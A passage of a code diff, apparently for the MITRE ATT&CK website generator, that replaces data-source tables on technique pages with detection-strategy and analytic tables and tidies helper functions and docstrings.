data_source_stix_id = data_component["x_mitre_data_source_ref"] - data_source_attack_id = stix_id_to_attack_id[data_source_stix_id] - data_component_stix_id_to_datasource_attack_id[data_component["id"]] = data_source_attack_id + data_source_stix_id = data_component.get("x_mitre_data_source_ref", None) + if data_component["id"] in stix_id_to_attack_id: + # data component has its own attack ID, map directly + data_component_attack_id = stix_id_to_attack_id[data_component["id"]] + data_component_stix_id_to_attack_id[data_component["id"]] = data_component_attack_id + elif data_source_stix_id: + # old data schema where data components reference a data source, map to data source attack ID + data_source_attack_id = stix_id_to_attack_id[data_source_stix_id] + data_component_stix_id_to_attack_id[data_component["id"]] = data_source_attack_id + else: + # cannot find a related attack ID + logger.warning(f"Data Component {data_component['id']} has no attack ID and no x_mitre_data_source_ref") + # when searching for these regexes, be sure to ignore the case old_linkbyid_syntax = r"{{LinkById\|(.*?)}}" @@ -77,16 +91,15 @@ def linkbyid_check(): link_by_id_warnings = [] for stix_object in all_stix_objects: - _id = stix_object.get("id") + stix_id = stix_object.get("id") name = stix_object.get("name") description = stix_object.get("description") external_references = stix_object.get("external_references") is_subtechnique = stix_object.get("x_mitre_is_subtechnique") attack_id = None - if external_references: - if "external_id" in external_references[0]: - attack_id = external_references[0]["external_id"] + if external_references and "external_id" in external_references[0]: + attack_id = external_references[0]["external_id"] pretty_name = "" if isinstance(stix_object, stix2.v21.sro.Relationship): @@ -94,7 +107,8 @@ def linkbyid_check(): target = stix_object["target_ref"] if source.startswith("x-mitre-data-component"): - source_attack_id = data_component_stix_id_to_datasource_attack_id[source] + # support for old relationships with data components + source_attack_id = data_component_stix_id_to_attack_id[source] else: source_attack_id = stix_id_to_attack_id[source] @@ -116,7 +130,7 @@ def linkbyid_check(): else: pretty_name = f"[{attack_id}] {name}" else: - pretty_name = f"[{attack_id}] {_id}" + pretty_name = f"[{attack_id}] {stix_id}" if description: attack_ids_in_description = re.findall(old_linkbyid_syntax, description, re.IGNORECASE) diff --git a/modules/techniques/techniques.py b/modules/techniques/techniques.py index e254d1a2cb1..767907c4176 100644 --- a/modules/techniques/techniques.py +++ b/modules/techniques/techniques.py @@ -88,19 +88,19 @@ def generate_domain_markdown(domain, techniques_no_sub, tactics, side_nav_data, md_file.write(subs) # Create the markdown for techniques in the STIX + datasource_of = util.relationshipgetters.get_datasource_of() for technique in techniques_no_sub[domain]: if "revoked" not in technique or technique["revoked"] is False: - generate_technique_md(technique, domain, side_nav_data, tactics[domain], notes) + generate_technique_md(technique, domain, side_nav_data, tactics[domain], notes, datasource_of) return True return False -def generate_technique_md(technique, domain, side_nav_data, tactic_list, notes): +def generate_technique_md(technique, domain, side_nav_data, tactic_list, notes, datasource_of): """Generetes markdown data for given technique.""" attack_id = util.buildhelpers.get_attack_id(technique) - # Only add technique if the attack id was found if attack_id: subtechniques_of = util.relationshipgetters.get_subtechniques_of() @@ -117,7 +117,9 @@ def generate_technique_md(technique, domain, side_nav_data, tactic_list, notes): technique_dict["subtechniques"] = get_subtechniques(technique) # Generate data for technique - technique_dict = generate_data_for_md(technique_dict, technique, tactic_list) + technique_dict = generate_data_for_md( + technique_dict=technique_dict, technique=technique, tactic_list=tactic_list, datasource_of=datasource_of + ) subs = techniques_config.technique_md.substitute(technique_dict) path = technique_dict["attack_id"] @@ -143,7 +145,13 @@ def generate_technique_md(technique, domain, side_nav_data, tactic_list, notes): sub_tech_dict["parent_name"] = technique.get("name") sub_tech_dict["subtechniques"] = technique_dict["subtechniques"] - sub_tech_dict = generate_data_for_md(sub_tech_dict, subtechnique["object"], tactic_list, True) + sub_tech_dict = generate_data_for_md( + technique_dict=sub_tech_dict, + technique=subtechnique["object"], + tactic_list=tactic_list, + is_sub_technique=True, + datasource_of=datasource_of, + ) if sub_tech_dict.get("sub_number"): subs = techniques_config.sub_technique_md.substitute(sub_tech_dict) @@ -158,7 +166,7 @@ def generate_technique_md(technique, domain, side_nav_data, tactic_list, notes): md_file.write(subs) -def generate_data_for_md(technique_dict, technique, tactic_list, is_sub_technique=False): +def generate_data_for_md(technique_dict, technique, tactic_list, is_sub_technique=False, datasource_of=None): """Given a technique or subtechnique, fill technique dictionary to create markdown file.""" technique_dict["name"] = technique.get("name") @@ -217,6 +225,11 @@ def generate_data_for_md(technique_dict, technique, tactic_list, is_sub_techniqu # Get asset table technique_dict["assets_table"] = get_assets_table_data(technique, reference_list) + # Get detection strategy table + technique_dict["detections_strategies_table"] = get_detection_strategies_table_data( + technique, reference_list + ) + # Get technique version if technique.get("x_mitre_version"): technique_dict["version"] = technique["x_mitre_version"] @@ -265,12 +278,6 @@ def generate_data_for_md(technique_dict, technique, tactic_list, is_sub_techniqu technique["x_mitre_effective_permissions"].sort() technique_dict["eff_perms"] = ", ".join(technique["x_mitre_effective_permissions"]) - # Get data sources and components - ( - technique_dict["datasources"], - technique_dict["show_descriptions"], - ) = get_datasources_and_components_of_technique(technique, reference_list) - # Get if technique supports remote if technique.get("x_mitre_remote_support"): if technique["x_mitre_remote_support"]: @@ -309,26 +316,6 @@ def generate_data_for_md(technique_dict, technique, tactic_list, is_sub_techniqu if technique.get("x_mitre_detection"): technique_dict["detection"] = technique["x_mitre_detection"] - # Get if technique is detectable by common defenses - if technique.get("x_mitre_detectable_by_common_defenses"): - technique_dict["detectable"] = technique.get("x_mitre_detectable_by_common_defenses") - - # Get explanation of detecatable by common defenses - if technique.get("x_mitre_detectable_by_common_defenses_explanation"): - technique_dict["detectable_exp"] = util.buildhelpers.replace_html_chars( - technique["x_mitre_detectable_by_common_defenses_explanation"] - ) - - # Get diffulty for adversaries - if technique.get("x_mitre_difficulty_for_adversary"): - technique_dict["diff_for_adv"] = technique["x_mitre_difficulty_for_adversary"] - - # Get explanation of difficulty for adversaries - if technique.get("x_mitre_difficulty_for_adversary_explanation"): - technique_dict["diff_for_adv_exp"] = util.buildhelpers.replace_html_chars( - technique["x_mitre_difficulty_for_adversary_explanation"] - ) - technique_dict["citations"] = reference_list technique_dict["versioning_feature"] = site_config.check_versions_module() @@ -341,9 +328,11 @@ def generate_data_for_md(technique_dict, technique, tactic_list, is_sub_techniqu def get_mitigations_table_data(technique, reference_list): - """Given a technique a reference list, find mitigations that mitigate - technique and return list with mitigation data. Also modifies the - reference list if it finds a reference that is not on the list + """Given a technique and a reference list, return mitigation data. + + Find mitigations that mitigate the technique and return a list with mitigation + data. Also modifies the reference list if it finds a reference that is not + on the list. """ mitigation_data = [] @@ -373,9 +362,11 @@ def get_mitigations_table_data(technique, reference_list): def get_assets_table_data(technique, reference_list): - """Given a technique a reference list, find assets that are targeted by the - technique and return list with asset data. Also modifies the - reference list if it finds a reference that is not on the list + """Return asset data for a technique. + + Given a technique and a reference list, find assets targeted by the + technique and return a list with asset data. Also modify the reference + list if a relationship reference is not present in the list. """ asset_data = [] @@ -406,10 +397,71 @@ def get_assets_table_data(technique, reference_list): return asset_data +def get_analytic_list(analytics, reference_list): + """Build a list of analytics with their IDs and descriptions, updating the reference list as needed. + + Parameters + ---------- + analytics : dict + Mapping of analytics where each value includes 'external_references' and 'description'. + reference_list : dict + Reference accumulator passed to update_reference_list; may be modified by the helper. + + Returns + ------- + list[dict] + List of dictionaries with keys 'id' and 'description' for each analytic. + """ + analytics_list = [] + for keys, values in analytics.items(): + reference_list = util.buildhelpers.update_reference_list(reference_list, values) + analytics_list.append( + {"id": values["external_references"][0]["external_id"], "description": values["description"]} + ) + return analytics_list + + +def get_detection_strategies_table_data(technique, reference_list): + """Return detection strategy data for a technique. + + Given a technique and a reference list, find detection strategies targeted by the + technique and return a list with detection strategy data. Also modify the reference + list if a relationship reference is not present in the list. + """ + detection_strategy_data = [] + + # Check if technique has assets + detection_strategies_for_techniques = util.relationshipgetters.get_detectionstrategies_detecting_technique().get( + technique["id"] + ) + if detection_strategies_for_techniques: + # Iterate through technique assets + for detection_strategy in detection_strategies_for_techniques: + # Do not add deprecated assets to table + if not detection_strategy["object"].get("x_mitre_deprecated"): + attack_id = util.buildhelpers.get_attack_id(detection_strategy["object"]) + + # Only add if attack id is found + if not attack_id: + continue + analytics = util.stixhelpers.get_analytics_from_detection_strategy(detection_strategy["object"]) + row = {} + row["id"] = attack_id + row["name"] = detection_strategy["object"]["name"] + row["analytics"] = get_analytic_list(analytics=analytics, reference_list=reference_list) + detection_strategy_data.append(row) + reference_list = util.buildhelpers.update_reference_list(reference_list, detection_strategy) + + if detection_strategy_data: + detection_strategy_data = sorted(detection_strategy_data, key=lambda k: k["name"].lower()) + return detection_strategy_data + + def get_examples_table_data(technique, reference_list): - """Given a technique object, find examples in malware using technique, - tools using technique and groups using technique. Return list with - example data + """Return example data for a technique. + + Find malware, tools, groups, and campaigns that use the technique and + return a list with example data. """ # Creating map to avoid repeating the code multiple times examples_map = [ @@ -451,7 +503,7 @@ def get_examples_table_data(technique, reference_list): def get_path_from_type(object): - """Given an object, return the path""" + """Return the path for an object.""" path_map = {"intrusion-set": "groups", "malware": "software", "tool": "software", "campaign": "campaigns"} return path_map[object.get("type")] @@ -528,7 +580,7 @@ def get_technique_side_nav_data(techniques, tactics): def get_techniques_list(techniques): - """This method is used to generate a list of techniques.""" + """Generate a list of techniques.""" technique_list = {} for technique in techniques: @@ -584,64 +636,6 @@ def get_subtechniques(technique): return sorted(subtechs, key=lambda k: k["id"]) -def get_datasources_and_components_of_technique(technique, reference_list): - """Given a technique object, find data sources and components - detecting the technique. Returns list with the following structure - - For each data source: - Data Source ATT&CK ID - Data Source name - Data components - Data component name - Data component descr - """ - datasource_and_components = [] - - datacomponents_of_technique = util.relationshipgetters.get_datacomponents_detecting_technique().get(technique["id"]) - datasource_of = util.relationshipgetters.get_datasource_of() - - show_descriptions = False - - if datacomponents_of_technique: - datasources_data = {} - for datacomponent in datacomponents_of_technique: - datasource = datasource_of.get(datacomponent["object"]["id"]) - datasource_attack_id = util.buildhelpers.get_attack_id(datasource) - if datasource_attack_id: - if not datasources_data.get(datasource_attack_id): - datasources_data[datasource_attack_id] = {} - datasources_data[datasource_attack_id]["attack_id"] = datasource_attack_id - datasources_data[datasource_attack_id]["name"] = datasource["name"] - datasources_data[datasource_attack_id]["datacomponents"] = [] - - datacomponent_data = {} - datacomponent_data["name"] = datacomponent["object"]["name"] - - if datacomponent["relationship"].get("description"): - reference_list = util.buildhelpers.update_reference_list( - reference_list, datacomponent["relationship"] - ) - datacomponent_data["descr"] = datacomponent["relationship"]["description"] - if not show_descriptions: - show_descriptions = True - - datasources_data[datasource_attack_id]["datacomponents"].append(datacomponent_data) - - for datasource_key in datasources_data: - # Sort data components - datasources_data[datasource_key]["datacomponents"] = sorted( - datasources_data[datasource_key]["datacomponents"], key=lambda k: k["name"].lower() - ) - # Add - datasource_and_components.append(datasources_data[datasource_key]) - - if datasource_and_components: - # Sort by data source name - datasource_and_components = sorted(datasource_and_components, key=lambda k: k["name"].lower()) - - return datasource_and_components, show_descriptions - - def generate_sidebar_techniques(side_nav_data): """Responsible for generating the sidebar for the technique pages.""" logger.info("Generating technique sidebar") diff --git a/modules/techniques/templates/technique.html b/modules/techniques/templates/technique.html index 0f7bf8a82b0..119ba51a734 100644 --- a/modules/techniques/templates/technique.html +++ b/modules/techniques/templates/technique.html @@ -4,7 +4,7 @@ {% import 'macros/deprecated.html' as deprecated %} {% import 'macros/clean_output.html' as clean_output %} {% import 'macros/citations.html' as citations %} -{% import 'macros/datasource_table.html' as datasource_table %} +{% import 'macros/detection_strategies_table_techniques.html' as detection_strategies_table_techniques %} {% import 'macros/notes.html' as notes %} {% if parsed.parent_name %} @@ -430,34 +430,9 @@

Mitigations

{% endif %} {% endif %} - {% if parsed.detection or parsed.datasources %} -

Detection

- {% if parsed.datasources %} - {{datasource_table.datasource_table(parsed.datasources, parsed.show_descriptions, parsed.citations)}} - {% endif %} - {% if parsed.detection and not parsed.show_descriptions %} -
- {{clean_output.stixToHTML(parsed.detection, parsed.citations)}} -
- {% endif %} - {% endif %} - {% if parsed.detectable %} -

Detection

-
-

Detectable by Common Defenses (Yes/No/Partial): {{parsed.detectable}}

- {% if parsed.detectable_exp %} -

Explanation: {{parsed.detectable_exp}}

- {% endif %} -
- {% endif %} - {% if parsed.diff_for_adv %} -

Difficulty for the Adversary

-
-

Easy for the Adversary (Yes/No): {{parsed.diff_for_adv}}

- {% if parsed.diff_for_adv_exp %} -

Explanation: {{parsed.diff_for_adv_exp}}

- {% endif %} -
+ {% if parsed.detections_strategies_table %} +

Detection Strategy

+ {{detection_strategies_table_techniques.detection_strategies_table_techniques(parsed.detections_strategies_table, parsed.citations)}} {% endif %} {{ citations.reference_section(parsed.citations) }} diff --git a/modules/util/buildhelpers.py b/modules/util/buildhelpers.py index 97371a7d4d0..5b74bd7fa5e 100644 --- a/modules/util/buildhelpers.py +++ b/modules/util/buildhelpers.py @@ -3,7 +3,7 @@ import os import re import shutil -import sys +from typing import Optional import bleach from loguru import logger @@ -87,7 +87,7 @@ def find_index_id(ext_ref): return count -def get_attack_id(object): +def get_attack_id(object) -> Optional[str]: """Given an object, return attack_id.""" external_references = object.get("external_references") if external_references: @@ -99,11 +99,28 @@ def get_attack_id(object): return None +def get_analytic_url(analytic): + """Given an analytic, get the website URL.""" + detection_strategies = relationshipgetters.get_detectionstrategy_list() + + for detection_strategy in detection_strategies: + if analytic["id"] in detection_strategy.get("x_mitre_analytic_refs", []): + detection_strategy_id = get_attack_id(detection_strategy) + analytic_id = get_attack_id(analytic) + return f"/detectionstrategies/{detection_strategy_id}#{analytic_id}" + + return None + + def get_domain_name(object): """Given an object, return domains.""" return object.get("x_mitre_domains") +def get_domain_display_name(domain): + return domain_name_map.get(domain, domain) + + def update_reference_list(reference_list, obj): """Given a reference list and an object, update the reference list with the external references found in the object.""" if obj.get("external_references"): @@ -252,14 +269,19 @@ def get_technique_table_data(tactic, techniques_list): return technique_table -def get_side_nav_domains_data(side_nav_title, elements_list): +def get_side_nav_domains_data(side_nav_title, elements_list, domain_page=True, use_name_or_id="name"): """Responsible for generating the links that are located on the left side of pages for desktop clients.""" + title_in_url = side_nav_title.replace(" ", "") def get_element_data(element): + if use_name_or_id == "name": + set_sidebar_element_name = element["name"] + else: + set_sidebar_element_name = element["external_references"][0]["external_id"] return { - "name": element["name"], - "id": element["name"], - "path": "/{}/{}/".format(side_nav_title, attack_id), + "name": set_sidebar_element_name, + "id": set_sidebar_element_name, + "path": "/{}/{}/".format(title_in_url, attack_id), "children": [], } @@ -272,7 +294,7 @@ def get_element_data(element): domain_data = { "name": domain["alias"], "id": domain["name"].split("-")[0], - "path": "/{}/{}/".format(side_nav_title, domain["name"].split("-")[0]), + "path": "/{}/{}/".format(title_in_url, domain["name"].split("-")[0]) if domain_page else None, "children": [], } @@ -286,7 +308,7 @@ def get_element_data(element): # return side menu return { "name": side_nav_title, - "id": side_nav_title, + "id": title_in_url, "path": None, # root level doesn't get a path "children": elements_data, } @@ -386,7 +408,7 @@ def technique_used_helper(technique_list, technique, reference_list, inherited=F subtechnique["color"] = 3 # belongs both to object and inherited from another if "descr" in technique_data and "descr" in subtechnique: # add markdown newline between descriptions - subtechnique["descr"] += "

" + technique_data["descr"] + "

" + subtechnique["descr"] += "\n\n" + technique_data["descr"] elif "descr" in technique_data: subtechnique["descr"] = technique_data["descr"] break @@ -410,7 +432,7 @@ def technique_used_helper(technique_list, technique, reference_list, inherited=F technique_list[attack_id]["color"] = 3 # belongs both to object and inherited from another if "descr" in technique_data and "descr" in technique_list[attack_id]: # add markdown newline between descriptions - technique_list[attack_id]["descr"] += "

" + technique_data["descr"] + "

" + technique_list[attack_id]["descr"] += "\n\n" + technique_data["descr"] elif "descr" in technique_data: technique_list[attack_id]["descr"] = technique_data["descr"] else: diff --git a/modules/util/relationshipgetters.py b/modules/util/relationshipgetters.py index f6868cd10f5..a20bb2c2a7b 100644 --- a/modules/util/relationshipgetters.py +++ b/modules/util/relationshipgetters.py @@ -1,5 +1,3 @@ -from modules import site_config - from . import relationshiphelpers as rsh from . import stixhelpers @@ -12,12 +10,12 @@ techniques_used_by_groups = {} techniques_used_by_campaigns = {} techniques_targeting_assets = {} -techniques_detected_by_datacomponent = {} +techniques_detected_by_detectionstrategy = {} groups_using_tool = {} groups_using_malware = {} mitigation_mitigates_techniques = {} technique_mitigated_by_mitigation = {} -datacomponents_detecting_technique = {} +detectionstrategies_detecting_technique = {} tools_using_technique = {} malware_using_technique = {} groups_using_technique = {} @@ -28,7 +26,6 @@ groups_attributed_to_campaign = {} campaigns_attributed_to_group = {} subtechniques_of = {} -datacomponent_of = {} datasource_of = {} parent_technique_of = {} objects_using_notes = {} @@ -47,14 +44,17 @@ mitigation_list = [] campaign_list = [] asset_list = [] +analytic_list = [] +detectionstrategy_list = [] technique_to_domain = {} +logsource_to_detections = {} # Relationship getters def get_malware_used_by_groups(): - """malware used by groups getter""" + """Return malware used by groups.""" global malware_used_by_groups if not malware_used_by_groups: @@ -64,7 +64,7 @@ def get_malware_used_by_groups(): def get_tools_used_by_groups(): - """tools used by groups getter""" + """Return tools used by groups.""" global tools_used_by_groups if not tools_used_by_groups: @@ -74,7 +74,7 @@ def get_tools_used_by_groups(): def get_malware_used_by_campaigns(): - """malware used by campaigns getter""" + """Return malware used by campaigns.""" global malware_used_by_campaigns if not malware_used_by_campaigns: @@ -84,7 +84,7 @@ def get_malware_used_by_campaigns(): def get_tools_used_by_campaigns(): - """tools used by campaigns getter""" + """Return tools used by campaigns.""" global tools_used_by_campaigns if not tools_used_by_campaigns: @@ -94,7 +94,7 @@ def get_tools_used_by_campaigns(): def get_techniques_used_by_malware(): - """techniques used by malware getter""" + """Return techniques used by malware.""" global techniques_used_by_malware if not techniques_used_by_malware: @@ -104,7 +104,7 @@ def get_techniques_used_by_malware(): def get_techniques_used_by_tools(): - """techniques used by tools getter""" + """Return techniques used by tools.""" global techniques_used_by_tools if not techniques_used_by_tools: @@ -114,7 +114,7 @@ def get_techniques_used_by_tools(): def get_techniques_used_by_groups(): - """techniques used by groups getter""" + """Return techniques used by groups.""" global techniques_used_by_groups if not techniques_used_by_groups: @@ -124,7 +124,7 @@ def get_techniques_used_by_groups(): def get_techniques_used_by_campaigns(): - """techniques used by campaigns getter""" + """Return techniques used by campaigns.""" global techniques_used_by_campaigns if not techniques_used_by_campaigns: @@ -134,7 +134,7 @@ def get_techniques_used_by_campaigns(): def get_techniques_targeting_assets(): - """techniques targeting assets getter""" + """Return techniques targeting assets.""" global techniques_targeting_assets if not techniques_targeting_assets: @@ -144,7 +144,7 @@ def get_techniques_targeting_assets(): def get_assets_targeted_by_techniques(): - """assets targeted by techniques getter""" + """Return assets targeted by techniques.""" global assets_targeted_by_techniques if not assets_targeted_by_techniques: @@ -153,26 +153,26 @@ def get_assets_targeted_by_techniques(): return assets_targeted_by_techniques -def get_techniques_detected_by_datacomponent(): - global techniques_detected_by_datacomponent +def get_techniques_detected_by_detectionstrategy(): + global techniques_detected_by_detectionstrategy - if not techniques_detected_by_datacomponent: - techniques_detected_by_datacomponent = rsh.techniques_detected_by_datacomponent(get_srcs()) + if not techniques_detected_by_detectionstrategy: + techniques_detected_by_detectionstrategy = rsh.techniques_detected_by_detectionstrategy(get_srcs()) - return techniques_detected_by_datacomponent + return techniques_detected_by_detectionstrategy -def get_datacomponents_detecting_technique(): - global datacomponents_detecting_technique +def get_detectionstrategies_detecting_technique(): + global detectionstrategies_detecting_technique - if not datacomponents_detecting_technique: - datacomponents_detecting_technique = rsh.datacomponents_detecting_technique(get_srcs()) + if not detectionstrategies_detecting_technique: + detectionstrategies_detecting_technique = rsh.detectionstrategy_detecting_technique(get_srcs()) - return datacomponents_detecting_technique + return detectionstrategies_detecting_technique def get_groups_using_tool(): - """groups using tool getter""" + """Return groups using a tool.""" global groups_using_tool if not groups_using_tool: @@ -182,7 +182,7 @@ def get_groups_using_tool(): def get_groups_using_malware(): - """groups using malware getter""" + """Return groups using malware.""" global groups_using_malware if not groups_using_malware: @@ -192,7 +192,7 @@ def get_groups_using_malware(): def get_mitigation_mitigates_techniques(): - """mitigation migates techniques getter""" + """Return mapping of mitigations that mitigate techniques.""" global mitigation_mitigates_techniques if not mitigation_mitigates_techniques: @@ -202,7 +202,7 @@ def get_mitigation_mitigates_techniques(): def get_technique_mitigated_by_mitigation(): - """technique mitigated by mitigation getter""" + """Return techniques mitigated by mitigations.""" global technique_mitigated_by_mitigation if not technique_mitigated_by_mitigation: @@ -212,7 +212,7 @@ def get_technique_mitigated_by_mitigation(): def get_tools_using_technique(): - """tools using technique getter""" + """Return tools using a technique.""" global tools_using_technique if not tools_using_technique: @@ -222,7 +222,7 @@ def get_tools_using_technique(): def get_malware_using_technique(): - """malware using technique getter""" + """Return malware using a technique.""" global malware_using_technique if not malware_using_technique: @@ -232,7 +232,7 @@ def get_malware_using_technique(): def get_groups_using_technique(): - """groups using technique getter""" + """Return groups using a technique.""" global groups_using_technique if not groups_using_technique: @@ -242,7 +242,7 @@ def get_groups_using_technique(): def get_campaigns_using_technique(): - """campaigns using technique getter""" + """Return campaigns using a technique.""" global campaigns_using_technique if not campaigns_using_technique: @@ -252,7 +252,7 @@ def get_campaigns_using_technique(): def get_campaigns_using_tool(): - """campaigns using tool getter""" + """Return campaigns using a tool.""" global campaigns_using_tool if not campaigns_using_tool: @@ -262,7 +262,7 @@ def get_campaigns_using_tool(): def get_campaigns_using_malware(): - """campaigns using malware getter""" + """Return campaigns using malware.""" global campaigns_using_malware if not campaigns_using_malware: @@ -272,7 +272,7 @@ def get_campaigns_using_malware(): def get_groups_attributed_to_campaigns(): - """groups attributed to campaign getter""" + """Return groups attributed to campaigns.""" global groups_attributed_to_campaign if not groups_attributed_to_campaign: @@ -282,7 +282,7 @@ def get_groups_attributed_to_campaigns(): def get_campaigns_attributed_to_group(): - """campaigns attributed to group getter""" + """Return campaigns attributed to a group.""" global campaigns_attributed_to_group if not campaigns_attributed_to_group: @@ -292,7 +292,7 @@ def get_campaigns_attributed_to_group(): def get_subtechniques_of(): - """subtechniques of techniques getter""" + """Return subtechniques for techniques.""" global subtechniques_of if not subtechniques_of: @@ -301,18 +301,8 @@ def get_subtechniques_of(): return subtechniques_of -def get_datacomponent_of(): - """data components of data sources getter""" - global datacomponent_of - - if not datacomponent_of: - datacomponent_of = stixhelpers.datacomponent_of() - - return datacomponent_of - - def get_datasource_of(): - """data source of data component getter""" + """Return the data source for a data component.""" global datasource_of if not datasource_of: @@ -322,7 +312,7 @@ def get_datasource_of(): def get_parent_technique_of(): - """parent of subtechnique getter""" + """Return parent technique for subtechniques.""" global parent_technique_of if not parent_technique_of: @@ -332,7 +322,7 @@ def get_parent_technique_of(): def get_objects_using_notes(): - """get objects using notes""" + """Return objects using notes.""" global objects_using_notes if not objects_using_notes: @@ -342,7 +332,7 @@ def get_objects_using_notes(): def get_ms(): - """memory shares getter""" + """Return STIX memory stores.""" global ms global srcs @@ -354,7 +344,7 @@ def get_ms(): def get_srcs(): - """memory shares without domain getter""" + """Return STIX memory stores without domain.""" global ms global srcs @@ -366,7 +356,7 @@ def get_srcs(): def get_resources(): - """resources getter""" + """Return grabbed resources.""" global resources if not resources: @@ -376,7 +366,7 @@ def get_resources(): def get_relationships(): - """relationship getter""" + """Return relationships from resources.""" global relationships if not relationships: @@ -386,7 +376,7 @@ def get_relationships(): def get_group_list(): - """group list getter""" + """Return the group list.""" global group_list if not group_list: @@ -396,7 +386,7 @@ def get_group_list(): def get_software_list(): - """software list getter""" + """Return the software list.""" global software_list if not software_list: @@ -406,7 +396,7 @@ def get_software_list(): def get_technique_list(): - """technique list getter""" + """Return the technique list.""" global technique_list if not technique_list: @@ -416,7 +406,7 @@ def get_technique_list(): def get_datasource_list(): - """data source list getter""" + """Return the data source list.""" global datasource_list if not datasource_list: @@ -426,7 +416,7 @@ def get_datasource_list(): def get_datacomponent_list(): - """data component list getter""" + """Return the data component list.""" global datacomponent_list if not datacomponent_list: @@ -436,7 +426,7 @@ def get_datacomponent_list(): def get_mitigation_list(): - """mitigation list getter""" + """Return the mitigation list.""" global mitigation_list if not mitigation_list: @@ -446,7 +436,7 @@ def get_mitigation_list(): def get_campaign_list(): - """campaign list getter""" + """Return the campaign list.""" global campaign_list if not campaign_list: @@ -456,7 +446,7 @@ def get_campaign_list(): def get_asset_list(): - """asset list getter""" + """Return the asset list.""" global asset_list if not asset_list: @@ -465,8 +455,49 @@ def get_asset_list(): return asset_list +def get_detectionstrategy_list(): + """Detection strategy list getter""" + global detectionstrategy_list + + if not detectionstrategy_list: + detectionstrategy_list = get_resources()["detectionstrategies"] + + return detectionstrategy_list + + +def get_logsource_to_detections_mapping(): + """Get mapping from log sources to detection strategies and analytics""" + global logsource_to_detections + global detectionstrategy_list + + for detection_strategy in detectionstrategy_list: + analytics_list_for_detection_strategy = stixhelpers.get_analytics_from_detection_strategy(detection_strategy) + for analytic_list_for_detection_strategy in analytics_list_for_detection_strategy.values(): + log_sources = analytic_list_for_detection_strategy.get("x_mitre_log_source_references", []) + for log_source in log_sources: + log_source_id = log_source.get("x_mitre_data_component_ref") + if log_source_id not in logsource_to_detections: + logsource_to_detections[log_source_id] = [] + already_exists = any(entry[0] == detection_strategy for entry in logsource_to_detections[log_source_id]) + if not already_exists: + logsource_to_detections[log_source_id].append( + [detection_strategy, analytic_list_for_detection_strategy, log_source] + ) + return logsource_to_detections + + +def get_analytic_list(): + """Analytic list getter""" + global analytic_list + + if not analytic_list: + analytic_list = get_resources()["analytics"] + + return analytic_list + + def get_technique_to_domain(): - """technique to domain getter""" + """Return mapping of technique to domain.""" global technique_to_domain if not technique_to_domain: diff --git a/modules/util/relationshiphelpers.py b/modules/util/relationshiphelpers.py index eeaff15d9ae..f2d6ac37d45 100644 --- a/modules/util/relationshiphelpers.py +++ b/modules/util/relationshiphelpers.py @@ -178,25 +178,6 @@ def campaigns_using_malware(srcs): return get_related(srcs, "campaign", "uses", "malware", reverse=True) -# technique:data component -def techniques_detected_by_datacomponent(srcs): - """Return datacomponent_id => {technique, relationship} for each technique detected by data component. - - srcs should be an array of memorystores for enterprise, mobile, and pre. - The mobile and pre memorystores should not contain data components nor data sources. - """ - return get_related(srcs, "x-mitre-data-component", "detects", "attack-pattern") - - -def datacomponents_detecting_technique(srcs): - """Return technique => {data component, relationship} for each data component decting a technique. - - srcs should be an array of memorystores for enterprise, mobile, and pre. - The mobile and pre memorystores should not contain data components nor data sources. - """ - return get_related(srcs, "x-mitre-data-component", "detects", "attack-pattern", reverse=True) - - # technique:group def techniques_used_by_groups(srcs): """Return group_id => {technique, relationship} for each technique used by the group. @@ -232,7 +213,7 @@ def campaigns_using_technique(srcs): def groups_attributed_to_campaign(srcs): - """Return campaign_id => {group, relationship} for each group attributed to the campaign + """Return campaign_id => {group, relationship} for each group attributed to the campaign. srcs should be an array of memorystores for enterprise, mobile, and pre """ @@ -240,7 +221,7 @@ def groups_attributed_to_campaign(srcs): def campaigns_attributed_to_group(srcs): - """Return group_id => {campaign, relationship} for each campaign attributed to the group + """Return group_id => {campaign, relationship} for each campaign attributed to the group. srcs should be an array of memorystores for enterprise, mobile, and pre """ @@ -340,6 +321,21 @@ def parent_technique_of(srcs): """ return get_related(srcs, "attack-pattern", "subtechnique-of", "attack-pattern") +# technique:detection strategy +def techniques_detected_by_detectionstrategy(srcs): + """Return detectionstrategy_id => {technique, relationship} for each technique detected by detection strategy. + + srcs should be an array of memorystores for enterprise, mobile, and ics + """ + return get_related(srcs, "x-mitre-detection-strategy", "detects", "attack-pattern") + + +def detectionstrategy_detecting_technique(srcs): + """Return technique => {detection strategy, relationship} for each detection strategy decting a technique. + + srcs should be an array of memorystores for enterprise, mobile, and ics + """ + return get_related(srcs, "x-mitre-detection-strategy", "detects", "attack-pattern", reverse=True) def get_objects_using_notes(srcs): """Build note object mapping. diff --git a/modules/util/stixhelpers.py b/modules/util/stixhelpers.py index 540e7bb37cf..7f1117ab861 100644 --- a/modules/util/stixhelpers.py +++ b/modules/util/stixhelpers.py @@ -14,7 +14,7 @@ from . import relationshiphelpers as rsh -def get_mitigation_list(src, get_deprecated=False): +def get_mitigation_list_from_src(src, get_deprecated=False): """Read the STIX and return a list of all mitigations in the STIX.""" mitigations = src.query([stix2.Filter("type", "=", "course-of-action"), stix2.Filter("revoked", "=", False)]) @@ -25,6 +25,31 @@ def get_mitigation_list(src, get_deprecated=False): return sorted(mitigations, key=lambda k: k["name"].lower()) +def get_detection_strategy_list_from_src(src, get_deprecated=False, sort_by_id=False): + """Read the STIX and return a list of all detection strategies in the STIX.""" + detectionstrategies = src.query([stix2.Filter("type", "=", "x-mitre-detection-strategy")]) + if not get_deprecated: + # Filter out deprecated objects for detectionstrategies pages + detectionstrategies = [ + x for x in detectionstrategies if not hasattr(x, "x_mitre_deprecated") or x.x_mitre_deprecated is False + ] + if sort_by_id: + return sorted(detectionstrategies, key=lambda k: k["external_references"][0]["external_id"]) + return sorted(detectionstrategies, key=lambda k: k["name"].lower()) + + +def get_datacomponent_list_from_src(src, get_deprecated=False): + """Read the STIX and return a list of all data components in the STIX.""" + datacomponents = src.query([stix2.Filter("type", "=", "x-mitre-data-component")]) + if not get_deprecated: + # Filter out deprecated objects + datacomponents = [ + x for x in datacomponents if not hasattr(x, "x_mitre_deprecated") or x.x_mitre_deprecated is False + ] + + return sorted(datacomponents, key=lambda k: k["name"].lower()) + + def get_matrices(src, domain): """Read the STIX and return a list of all matrices in the STIX.""" stix_matrices = src.query( @@ -215,6 +240,15 @@ def datacomponent_of(): return datacomponent_of +def get_datacomponent_from_list(datacomponent_stix_id): + """Return data component object with given stix id.""" + datacomponents = relationshipgetters.get_datacomponent_list() + for dc in datacomponents: + if dc["id"] == datacomponent_stix_id: + return dc + return None + + def get_datasource_from_list(datasource_stix_id): """Return data source object with given data 